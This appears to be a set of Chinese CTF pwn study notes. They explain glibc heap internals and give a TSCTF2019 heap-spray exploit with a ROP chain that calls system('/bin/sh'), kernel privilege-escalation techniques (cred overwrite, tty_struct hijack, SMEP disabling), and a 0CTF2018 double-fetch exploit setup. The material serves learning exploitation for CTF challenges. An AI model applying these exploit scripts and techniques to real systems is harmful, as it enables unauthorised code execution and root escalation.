tcache->counts[tc_idx]

来访问索引对应bin的count。

img

从0x55555555b010至0x55555555b04f都是counts这个数组的范围。

▲由于使用tcache时,不会检查tcache->counts[tc_idx]的大小是否处在[0,7]的范围,所以如果我们可以将对应bin的count改成[0,7]之外的数,这样下回再free该bin对应大小的chunk时,就不会将该chunk置入tcache中,使得tcache不满也能不进入tcache。

B.entries:是个bin指针数组,共64个指针数组,每个指针8个字节,总计大小0x200字节,指针指向对应的bin中第一个chunk的首地址,这个首地址不是chunk头的首地址,而是对应数据的首地址。如果该bin为空,则该指针也为空。一般会使用tcache->entries[tc_idx] != NULL来判断是否为空。

②2.29及以上

在entry中增加了key字段,结构体大小为0x290,count由原来的一个字节变为两个字节

1
2
3
4
5
6
7
8
#注释头

typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; /* 新增指针 */
} tcache_entry;

(2)个数

类似于一个比较大的fastbins。总共64个bin。

(3)归类方式:

相同大小的chunk归到一类:大小范围[0x20,0x410]。每组bins中的chunk大小一定。且一组bin中最多只能有7个chunk,如果free某大小bin的chunk数量超过7,那么多余的chunk会按照没有tcache机制来free。

(4)单向链表:

▲例子:a=malloc(0x10); b=malloc(0x10); c=malloc(0x10); d=malloc(0x10)

FastbinY,d,c,b,a

  • free(a)之后:tcachebins[0x20]->a; a.fd=0

  • free(b)之后:tcachebins[0x20]->b; b.fd=a a.fd=0

  • free(c)之后:tcachebins[0x20]->c; c.fd=b b.fd->a; a.fd=0

  • free(d)之后:tcachebins[0x20]->d; d.fd=c c.fd->b; b.fd->a; a.fd=0

★但是这里的fd指向的是chunk内容地址,而不是其它的bins中的fd指向的是chunk头地址。

(5)后进先出

与fastbins类似。且tcache的优先级最高。

(6)特殊:

  • 当tcache某个bin被填满之后,再free相同大小的bin放到fastbin中或者smallbins中,之后连续申请7个该大小的chunk,那么tcache中的这个bin就会被清空。之后再申请该大小的chunk就会从fastbins或者smallbins中找,如果找到了,那么返回该chunk的同时,会将该大小的fastbin或者smallbin中所有的chunk都移动到对应大小的tcache的bin中,直至填满7个。(移动时仍旧遵循先进后出的原则,所以移动之后chunk顺序会发生颠倒)

  • libc-2.26中存在tcache poisoning漏洞,即可以连续free(chunk)多次。

假如chunk0,chunk1,然后free(chunk0)两次,这样tcache bin中就是:

1
chunk0.fd ->chunk0,即chunk0->chunk0

那么第一次申请回chunk0,修改fd为fakechunk,tcache bin中就是:

1
chunk0.fd->fakechunk,即chunk0->fakechunk

之后再申请回chunk0,再申请一次就是fakechunk了,实现任意地址修改。

★这个漏洞在libc2.27中就被修复了。

  • 从tcache中申请Chunk的时候不会检查size位,不需要构造字节错位。

(7)2.31下新增stash机制:

在 Fastbins 处理过程中新增了一个 Stash 机制,每次从 Fastbins 取 Chunk 的时候会把剩下的 Chunk 全部依次放进对应的 tcache,直到 Fastbins 空或是 tcache 满。

(8)2.32下新增fd异或机制:

会将fd异或上某个值,这个具体看其他文章吧。

6.Topchunk:

不属于任何Bin,在arena中属于最高地址,没有其它空闲块时,topchunk就会被用于分配。

7.last_remainder:

当请求small chunk大小内存时,如果发生分裂,则剩余的chunk保存为last_remainder,放入unsortedbin中。

▲没有tcache的malloc和free流程:

四、malloc流程:

★如果是多线程情况下,那么会先进行分配区的加锁,这里就可能存在条件竞争漏洞。

  • 如果size在fastbins的范围内,则先在fastbins中查找,找到则结束,没找到就去unsortedbins中找。

  • 如果size不在fastbins范围中,而在smallbins范围中,则查找smallbins(在2.23下如果发现smallbin链表未初始化,则会调用malloc_consolidate函数,但是实际情况在申请chunk之前都已经初始化过了,所以这个不怎么重要

    1
    if (victim == 0) /* initialization check */ malloc_consolidate (av); 

    而且这个操作从2.27开始已经没有了,如果能够让smallbin不初始化,或者将main_arena+0x88设置为0),此时若smallbin找到结束,没找到去unsortedbins中找

  • 如果size不在fastbins,smallbins范围中,那一定在largebins中,那么先调用malloc_consolidate函数将所有的fastbin中的chunk取出来,合并相邻的freechunk,放到unsortedbin中,或者与topchunk合并。再去largebins中找,找到结束,没找到就去unsortedbins中找。

  • unsortedbins中查找:

    • 如果unsortedbin中只有last_reaminder,且分配的size小于last_remainder,且要求的size范围为smallbin的范围,则分裂,将分裂之后的一个合适的chunk给用户,剩余的chunk变成新的last_remainder进入unsortedbin中。如果大于last_remainder,或者分配的size范围为largebin的范围,则将last_remainder整理至对应bin中,跳至第5步。
    • 如果unsortedbin中不只一个chunk,则先整理,遍历unsortedbins。如果遇到精确大小,直接返回给用户,接着整理完。如果一直没遇到过,则该过程中所有遇到的chunk都会被整理到对应的fastbins,smallbins,largebins中去。
  • unsortedbins中找不到,则:

    • 若当前size最开始判断是处于smallbins范围内,则再去smallbins找,这回不找精确大小,找最接近略大于size的一个固定大小的chunk给分裂,将符合size的chunk返回给用户,剩下的扔给unsortedbins,作为新的last_remainder。
    • 若当前size最开始判断处于largebins范围内,则去largebins中找,和步骤(1)类似。
    • 若当前size大于largebins中最大的chunk大小,那么就去topchunk来分割使用。
  • topchunk分割:

    • topchunk空间够,则直接分割。
    • topchunk空间不够,那么再调用malloc_consolidate函数进行整理一下,然后利用brk或者mmap进行再拓展。
      • brk扩展:当申请的size小于128K时,使用该扩展。向高地址拓展新的topchunk,一般加0x21000,之后从新的topchunk再分配,旧的topchun进入unsortedbin中。
      • mmap扩展:申请的size大于等于mmap分配阈值(最开始为128k)时,使用该扩展,但是这种扩展申请到的chunk,在释放时会调用munmap函数直接被返回给操作系统,而不会进入bins中。所以如果用指针再引用该chunk块时,就会造成segmentation fault错误。

▲当ptmalloc munmap chunk时,如果回收的chunk空间大小大于mmap分配阈值的当前值,并且小于DEFAULT_MMAP_THRESHOLD_MAX(32位系统默认为512KB,64位系统默认为32MB),ptmalloc会把mmap分配阈值调整为当前回收的chunk的大小,并将mmap收缩阈值(mmap trim threshold)设置为mmap分配阈值的2倍。这就是ptmalloc的对mmap分配阈值的动态调整机制,该机制是默认开启的,当然也可以用mallopt()关闭该机制

▲如果将 M_MMAP_MAX 设置为 0,ptmalloc 将不会使用 mmap 分配大块内存。

五、free流程:

★多线程情况下,free()函数同样首先需要获取分配区的锁,来保证线程安全。

  • 首先判断该chunk是否为mmaped chunk,如果是,则调用 munmap()释放mmaped chunk,解除内存空间映射,该该空间不再有效。同时满足条件则调整mmap阈值。

  • 如果size位于fastbins范围内,直接放到fastbins中。

  • 如果size不在fastbins范围内,则进行判断:

    • 先判断前一个chunk_before,如果chunk_before是free状态的,那么就将前一个chunk从其对应的bins中取出来(unlink),然后合并这两个chunk和chunk_before。由于还没有进入链表结构中,所以这里寻找chunk_before地址是通过当前地址减去当前chunk的presize内容,得到chunk_before的地址,从而获取其in_use位。
    • 这也是presize唯一的用途,所以在堆溢出中,只要不进行free,presize可以任意修改。(这里如果chunk_before是位于fastbins中则没办法合并,因为在fastbins中的in_use位不会被改变,永远是1,在判断时始终认为该chunk是处于allocated状态的)
    • 再判断后一个chunk,如果后一个chunk是free状态,那么如步骤(1),合并,之后将合并和的chunk放入到unsortedbins中去。如果后一个chunk就是topchunk,那么直接将这个chunk和topchunk合并完事。
    • 之后将合并之后的chunk进行判断,(这里也可能不发生合并,但依旧会进行判断)如果size大于FASTBIN_CONSOLIDATION_THRESHOLD(0x10000),那么就调用malloc_consolidate函数进行整理fastbins,然后给到unsortedbins中,等待malloc时进行整理。

▲32位与64位区别,差不多其实,对于0x8和0x10的变化而已:

img

TSCTF2019 薛定谔的堆块-HeapSpray

heapspray有很多的应用场景,但大多都是windows下的漏洞应用,关于Glibc的比较少,至今只看见两题:

pwnhub.cn 故事的开始 calc

TSCTF2019 薛定谔的堆块

这里参考第二篇文章针对第二题做个复现,理解下堆喷的思想。

1.函数理解

这里分析起来比较麻烦,最好就调试,直接给出相关的功能:

(1)Create函数:

  • 创建chunk,但每次Create会创建0x10个相同大小的chunk,且大小为输入size+4。比如输入size为0xc,那么创建的chunk就是0x10个0x18大小的Chunk。同时每0x10个小chunk在宏观意义上组成一个大chunk,这里用SmallChunk和BigChunk区分一下。

  • chunk的索引在全局数组dword_4060,chunkList中随机排列,比如idx为0的chunk不一定是第一个创建的。

img

img

这点在后面堆喷会用到,无法简单地通过打印值来判断heap地址,只能判断出在哪个BigChunk中,还得判断出某个SmallChunk在BigChunk中的位置才能泄露出堆地址。

  • 创建chunk读取数据时read_str函数里有\x00截断,所以Display在没有UAF的情况下难以泄露出地址,这里也不存在堆溢出。

  • 选择chunk类型时会给chunk_addr+size处赋值,这里就是之前申请size+4的原因。

img

这个赋予的值是一个ELF上的data数据地址,没啥用,迷惑用的,同时如果选择的选项不为1-4的话,就会不赋值,这个在后面很有用。

img

(2)Display函数:

比较常规,输出给定index范围的SmallChunk的内容

(3)Delete函数:

删除最后一次Create的BigChunk的所有SmallChunk,free数据且置指针NULL,没啥漏洞。但是这里删除是依据chunkList的顺序索引删除,而chunkList又是被打乱的,所以删除之后的顺序其实不是我们最开始输入数据的顺序,这个在后面unsortedbin泄露数据的时候需要注意一下。

(4)Modify函数:

编辑指定index的Small Block的内容,这里没啥用

(5)CallFunction函数:

根据Create时的最后那4byte的数值来决定执不执行某个函数指针(这个函数指针就是最开始创建的时候赋值的ELF上的数据)。

  • *(chunk_addr+size) != 0,则set ((chunk_addr+size)) -= 1

  • *(chunk_addr+size) == 0,则jmp ((chunk_addr+size))+0x4

img

img

这里调用CallFunction函数之后就可以调用到0xf7e87401,这里的*0x57d1ab8c是我们在堆上设置好的内容。

2.漏洞发现:

这里就结合Create函数,利用先申请填充内容之后再释放,使得*(chunk_addr+size)可控,从而能够调用任意函数。但是在保护全开的情况下想要调用函数,必须需要泄露地址,而地址在没有漏洞的情况下又没办法泄露。

堆喷原理:https://www.cnblogs.com/Fang3s/articles/3911561.html

(1)堆喷结合CallFunction函数的-1泄露地址:

假设某个堆地址:magic_addr。由于这里可以Display,所以如果*magic_addr= magic_addr-1,而利用堆喷使得一定范围内的堆内容都为magic_addr,打印内容之后,就可以依据打印的内容,能够从中筛选出magic_addr,获取其索引,再经过我们制造堆喷过程中运算就能得到开始堆喷的地址start_addr。

比如:magic_addr = 0x58585858,申请了0x100个0x20000大小的Chunk,那么得到索引为0x58,且magic_addr 也是一个0x20000的chunk,就可求得start_addr为0x58585858-0x58*0x20000。当然这是理论上的,实际还得一系列的判断运算。

同理,在当我们释放堆块进入unsortedbin之后,踩下main_arena地址再申请回来,由于\x00截断很难泄露出地址,这里也是采用这个方法,使得\x00-1成为0xff来把\x00截断给抹杀。

(2)getshell原理

有了地址之后就可调用libc上任意的函数了,这里的one_gadget都用不了,在没办法往栈上输入数据的情况下就需要栈劫持了,这里找两个gadget,原题给的是:

1
2
3
4
#注释头

magic_gadget1 = 0x00161871# 0x00161871 : xchg eax, ecx ; cld ; call dword ptr[eax]
magic_gadget2 = 0x00072e1a# 0x00072e1a : xchg eax, esp ; sal bh, 0xd8 ;

我用我自己编译的Libc是:

1
2
3
4
#注释头

magic_gadget1 = 0x00164401# 0x00161871 : xchg eax, ecx ; cli ; jmp dword ptr[eax]
magic_gadget2 = 0x00073c10+0x3a# 0x00072e1a : xchg eax, esp ; sal bh, 0xd8 ;

一样的,没啥区别,得自己找去。ROPgadget。

在调用jmp *(*(chunk_addr+size))+0x4时,看到context为

img

这里的ecx就保存这一个堆地址,那么我们就利用ecx和eax结合这两个gdaget来进行栈劫持,从而getshell。

3.exp编写:

(1)堆喷堆布局

填充数据在堆上,满足*magic_addr=magic_addr,且其他chunk的所有数据也为magic_addr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#注释头

#----------------------------------------
#fill 0x58 to all chunk
data = []
for i in range(0x10):
data.append(['X' * (0x20000 - 1), 1])
malloc(0x20000, data)
delete()

for i in range(0x10):
malloc(0x20000, data)

#idx 0x0->0x100-1
#----------------------------------------

(2)填充需要触发的chunk数据

满足*chunk_addr + size = magic_addr,然后调用callfuc函数使得*magic_addr= magic_addr-1,打印数据之后即可判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#-----------------------------------------------
#fill 0x1000 all 0x58 (idx 0x100->0x110-1)
data = []
for i in range(0x10):
data.append(['X' * (0x1000 - 1), 1])
malloc(0x1000, data)
delete()


data = []
for i in range(0x10):
data.append(['X' * (0xf0 - 1), 0])
malloc(0xf0, data)
#idx 0x100->0x110-1


#0x100->0x110-1 OK
callfuc(0x100)
show(0, 0x100)
#-----------------------------------------------

(3)判断chunk基于的BigChunk索引:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#注释头

index = 0
offest = 0
out = ''
magic_addr = 0x58585858
for i in range(0x100):
out = p.recvline()
if 'W' in out:
index = i
break
out = out[12 : ]
offest = out.index('W')

log.info('magic_addr is : %d' % index)
log.info('offest is : %d' % offest)
log.info('start addr is : ' + hex(magic_addr- offest))
block_start = (index / 0x10) * 0x10

(4)计算chunk在BigChunk中的位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#注释头

delete()
count = 1
p_index = 0
while 1:
log.info("start find prev block count = %d" % count)
data = []
for i in range(0x10):
data.append([p32(magic_addr - 0x20008 * count) * (0x1000 / 4 - 1),
1])
malloc(0x1000, data)
delete()

data = []
for i in range(0x10):
data.append(['X' * (0xa0 - 1), 0])
malloc(0xa0, data)

log.info("start call fuc count = %d" % count)
callfuc(0x100)
show(block_start - 0x10, index + 1)
p_index = 0
out = ''
for i in range(index + 1 - block_start + 0x10):
out = p.recvline()
if 'W' in out:
p_index = i + block_start - 0x10
break
delete()
if p_index < block_start:
break
count += 1


log.info('block start is : %d' % block_start)
log.info('p_index is : %d' % p_index)
heap_start_addr = magic_addr - 0x20008 * (count - 1 + 0x10 * (block_start / 0x10)) - offest - 8
log.info('heap start is : ' + hex(heap_start_addr))

同样的方法,依据地址顺序遍历BigChunk中的0x1-0x10的所有可能范围,对于修改*chunk_addr= magic_addr-1,然后打印判断得到各个索引对应的地址。由于创建的时候是random函数,所以也可以用爆破的方式解决,概率为1/16。

(5)获取libc地址

方法是释放之后使之进入unsortedbin踩下地址,利用callfuc函数和字节错位的方法对抗\x00截断从而泄露出地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#注释头

for i in range(0x10):
delete()

data = []
for i in range(0x10):
data.append([p32(heap_start_addr + 8 + 3 ) * (0x1000 / 4 - 1), 1])
malloc(0x1000, data)
delete()

data = []
for i in range(0x10):
data.append(['aaa', 0])
malloc(0xa0, data)
callfuc(0)
show(0, 0x10)
for i in range(index + 1 - block_start + 0x10):
out = p.recvline()
out = out[12 : -1]
if 'aaa' != out:
libc_addr = u32(out[4 : 8]) + 1 - 0x1b07b0
break
log.info('libc addr is : ' + hex(libc_addr))
delete()

img

img

img

这里的main_arena变化是因为0xedb7ab000变为了0xedb7afff,导致字节错位变化的,具体调试一下就知道

(6)劫持栈

结合gadget来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#注释头

magic_gadget1 = 0x00164401
#xchg eax, ecx ; cli ; jmp dword ptr[eax]
magic_gadget2 = 0x00073c10+0x3a
#xchg eax, esp ; sal bh, 0xd8 ;
system_offest = 0x3adb0
binsh_addr = 0x15bb0b
# gdb.attach(p)

data = []
for i in range(0x10):
data.append([p32(heap_start_addr + 12) * (0x1000 / 4 - 1), 1])
malloc(0x1000, data)
delete()

data = []
for i in range(0x10):
data.append([(p32(libc_addr + magic_gadget2) + p32(0) + p32(libc_addr
+ magic_gadget1) + p32(0) * 4 + p32(libc_addr + system_offest) + p32(0) +
p32(libc_addr + binsh_addr)).ljust(0xa0 -1, '\x00'), 0])
malloc(0xa0, data)
callfuc(0)
p.interactive()

这里关于最后堆上数据的布局需要调试才能知道,建议先随便写几个,然后调试的时候在写数据。

▲题外话:这里其实并没有用到常规意义上的通过堆喷滑板0x0c,0x58之类的滑板指令来执行shellcode或者ROP,所以其实这里的magic_addr换成0x57575757,0x56565656也是一样可以的,只不过成功率可能会小不少,毕竟这里还最开始申请了一个随机大小的堆块,而且PIE堆的随机化程度也大多在0x56到0x58之间。

4.总结:

  • 堆喷思想:其实就是多级指针的思想,通过劫持指针来滑动程序流或者泄露地址。

  • 调试:汇编指令一定要熟悉,像劫持栈常用的xchg eax,esp等。

pwn-kernel_常见提权手段

一、利用cred结构体提权:

1.前置知识:

(1)kernel中会为每个进程创建一个cred结构体,保存了该进程的权限等信息如(uid,gid)等,如果能修改这个结构体那么就修改了这个进程的权限。

(2)修改进程的权限为root之后,再通过该进程开的shell那么也就是root权限了,实现提权。

2.利用手段:

(1)通过UAF,将一块已经释放的堆块修改大小为cred结构体大小,然后创建进程,就会将该堆块申请为cred结构体。

(2)再通过UAF将该cred结构体中的uid、gid改掉,实现进程提权。

▲那么如何知道cred结构体的大小呢,不同linux内核版本的cred结构体大小不同:

①通过linux内核版本,上源码查看网址,查找对应的cred结构体:

img

访问对应版本:https://elixir.bootlin.com/linux/v4.4.70/source/include/linux/cred.h

可以看到某内核的cred结构体大小,这里是0xa8:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//注释头

struct cred {
atomic_t usage; 0x4
#ifdef CONFIG_DEBUG_CREDENTIALS debug选项去掉
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */ 0x4
kgid_t gid; /* real GID of the task */ 0x4
kuid_t suid; /* saved UID of the task */ 0x4
kgid_t sgid; /* saved GID of the task */ 0x4
kuid_t euid; /* effective UID of the task */ 0x4
kgid_t egid; /* effective GID of the task */ 0x4
kuid_t fsuid; /* UID for VFS ops */ 0x4
kgid_t fsgid; /* GID for VFS ops */ 0x4
unsigned securebits; /* SUID-less security management */ 0x4
kernel_cap_t cap_inheritable; /* caps our children can inherit */ 0x8
kernel_cap_t cap_permitted; /* caps we're permitted */ 0x8
kernel_cap_t cap_effective; /* caps we can actually use */ 0x8
kernel_cap_t cap_bset; /* capability bounding set */ 0x8
kernel_cap_t cap_ambient; /* Ambient capability set */ 0x8
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested 0x8
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */ 0x8
struct key *process_keyring; /* keyring private to this process */ 0x8
struct key *thread_keyring; /* keyring private to this thread */ 0x8
struct key *request_key_auth; /* assumed request_key authority */ 0x8
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */ 0x8
#endif
struct user_struct *user; /* real user ID subscription */ 0x8
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ 0x8
struct group_info *group_info; /* supplementary groups for euid/fsgid */ 0x8
struct rcu_head rcu; /* RCU deletion hook */ 0x10
};

这里大小是去掉debug部分的成员的大小,因为题目给的bzImage内核文件一般都不包含debug选项,包含的话会特别大,这里后面标注的大小是某个大佬标注:

https://www.jianshu.com/p/a465b3f6d7cb

②直接自己写一个小module加载打印cred结构体大小:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//简单modules
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>

MODULE_LICENSE("Dual BSD/GPL");
struct cred c1;
static int hello_init(void)
{
printk("<1> Hello world!\n");
printk("size of cred : %d \n",sizeof(c1));
return 0;
}
static void hello_exit(void)
{
printk("<1> Bye, cruel world\n");
}
module_init(hello_init);
module_exit(hello_exit);

A.新建一个hello文件夹,放上述代码hello.c和Makefile,设置Makefile为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
obj-m := hello.o

KERNELDR := /usr/src/linux-headers-4.15.0-22-generic

PWD := $(shell pwd)

modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules

moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install

clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

这里的KERNELDR目录是编译之后的kernel目录

make命令编译下这个hello.c,会生成几个文件,只需要hello.ko

img

B.在根文件系统中vim init,设置一下,加上insmod /hello.ko,再重新打包,通过qemu启动内核,启动命令为:

1
2
3
4
5
6
7
8
9
#注释头

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

这里不能在append中添加quiet命令,否则没法打印出来

C.之后就可以看到

img

参照:https://ch4r1l3.github.io/2018/10/07/linux-kernel-pwn-%E5%88%9D%E6%8E%A2-1/

(3)一般而言,修改cred结构体可以直接从头开始,将头部至gid的部分都赋值为0即可,因为前面的数据基本用不到,不需要再去找原始数据来赋值。

二、利用ptmx设备中的tty_struct结构体

1.前置知识:

(1)打开设备,open(“/dev/ptmx”, O_RDWR)时会创建一个tty_struct

(2)tty_struct结构体中有一个const struct tty_operations *ops;结构体指针,偏移为xx。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
//注释头

struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;

/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;

struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;

struct tty_struct *link;
struct fasync_struct *fasync;
int alt_speed; /* For magic substitution of 38400 bps */
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
};

结构体大小为0x2e0,但是不知道各个版本的大小是不是都一样,如果需要查看大小,仍然可以用上述方法,去网站,或者编译一个小module

网站:https://elixir.bootlin.com/linux/v4.4.72/source/include/linux/tty.h

module:参照上面的,打印即可。

(3)tty_operations结构体中有一个int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count); 函数指针,这个函数在与ptmx设备进行交互,调用write函数时就会调用该函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//注释头

struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};

这个结构体在伪造的时候就可以随便伪造了,只要函数偏移位置对就行。

(4)所以我们伪造一个tty_struct结构体fake_tty_1,利用UAF漏洞将一个堆块申请为这个结构体,修改其const struct tty_operations *ops;结构体指针指向另一个伪造的tty_operations结构体fake_tty_2。

(5)将tty_operations结构体fake_tty_2中的int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count); 函数指针指向ROP链,调用ROP,控制程序。

(6)控制程序之后一般需要关闭掉smep保护,之后用ret2Usr来提权。

▲关闭smep保护:

img

需要将CR4寄存器中的第20位置0,即可关闭。一般在ROP链中执行下列gadget即可:

1
2
3
4
5
6
7
#注释头

mov cr4,0x6f0; ret;
----------------------------------------------------------------------
pop rdi; ret
0x6f0
mov cr4,rdi; ret;

上面两种都行,或者其它满足条件的gadget也可以,这里0x6f0是想绕过一些机制。

2.利用手段:

(1)通过UAF申请得到tty_struct结构体指针,修改const struct tty_operations *ops使其指向用户空间伪造的tty_operations结构体,伪造的tty_operations结构体中的write指针指向ROP链。

(2)ROP链进行迁移内核栈,关闭smep保护,正常ret2Usr。

0CTF2018-baby(double-fetch)

只给了baby.ko和加载的文件系统core.cpio,没有内核和启动脚本,所以需要下载和配置。

1.下载内核配置环境:

(1)IDA打开baby.ko查看十六进制的汇编可以看到调用的Linux版本,可以下载源码编译或者直接下载编译好的。img

(2)解压得到压缩内核:

1
2
3
4
5
#注释头

apt search linux-image-[version]
apt download xxxx
ar -x linux-image-4.15.0-22-generic_4.15.0-22.24_amd64.deb

在./data/boot中有vmlinuz-4.15.0-22-generic,不要再类似压缩为bzImage,可以直接用来启动qemu。

(3)配置文件系统和启动脚本:

①文件系统:用busybox制作的,find ./* | cpio -H newc -o > rootfs.cpio

1

②启动脚本和配置文件:

2

1
2
3
4
5
6
7
8
9
10
11
#! /bin/sh
qemu-system-x86_64 \
-m 256M -smp 4,cores=2,threads=2 \
-kernel ./vmlinux \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokalsr" \
-cpu qemu64 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
#-gdb tcp::1234 \
# -S

2.开始解析baby.ko

(1)两个实际命令,在baby_ioctl函数中:

3

①0x6666命令可以得到flag在内核空间的地址

②0x1337命令会触发三个检查,如果检查成功则可以打印出flag

(2)漏洞点:

漏洞在检查上,三个检查是检查通过ioctl传入的数据rdx。

▲_chk_range_not_ok函数:将第一个参数rdi和第二个参数rsi相加,判断是否小于第三个参数rdx,如果大于等于将al置为1(al即rax的低8位寄存器),如果小于则返回0,而如果要进入该if,则需要返回值为0,则需rdi+rsi < rdx。

①检查一:_chk_range_not_ok(v2, 16LL, (__readgsqword(&current_task) + 4952)其中的(__readgsqword(&current_task) + 4952)其实是用户空间的起始地址:

4

即传入数据的地址加上16需要小于0x7ffffffff000,而小于0x7ffffffff000则表示处在用户空间中:

5

那么就是检查传入的数据的地址是否位于用户空间。

②检查二即将传入的数据作为一个结构体,检查该结构体中flag指针对应的数据的地址加上flag的长度是否位于用户空间。

③检查三即检查flag的长度是否和程序中硬编码的长度相等。

▲由于传入的结构体是由我们控制的,且过程中依据该结构体来索引flag,其中的flag指针我们也可以改变,所以如果在检查结束之后,打印flag之前,能够将flag指针指向内核空间真正的flag处,那么就能够通过:

1
2
3
4
5
6
7
#注释头

for ( i = 0; i < strlen(flag); ++i )
{
if ( *(*v5 + i) != flag[i] )
return 22LL;
}

从而打印内核空间真正的flag了。而这个内核空间flag的地址可以通过命令0x6666得到,这样就类似于利用了一个条件竞争的漏洞。

3.编写exp

(1)首先是结构体:

1
2
3
4
5
6
7
#注释头

struct MyflagStruc
{
char *flag;
size_t len;
};

(2)接着打开dev获取地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#注释头

int fd = open("/dev/baby",O_RDONLY);
ioctl(fd,0x6666);

system("dmesg > /tmp/record.txt");
allInfo_fd= open("/tmp/record.txt",O_RDONLY);
lseek(allInfo_fd,-0x1000,SEEK_END);
read(allInfo_fd,buf,0x1000);
close(allInfo_fd);
idx = strstr(buf,"Your flag is at ");
if (idx == 0){
printf("[-]Not found addr");
exit(-1);
}
else{
idx += 16;
kernelFlag_addr = strtoull(idx,idx+16,16);
printf("[+]kernelFlag_addr: %p\n",kernelFlag_addr);
}

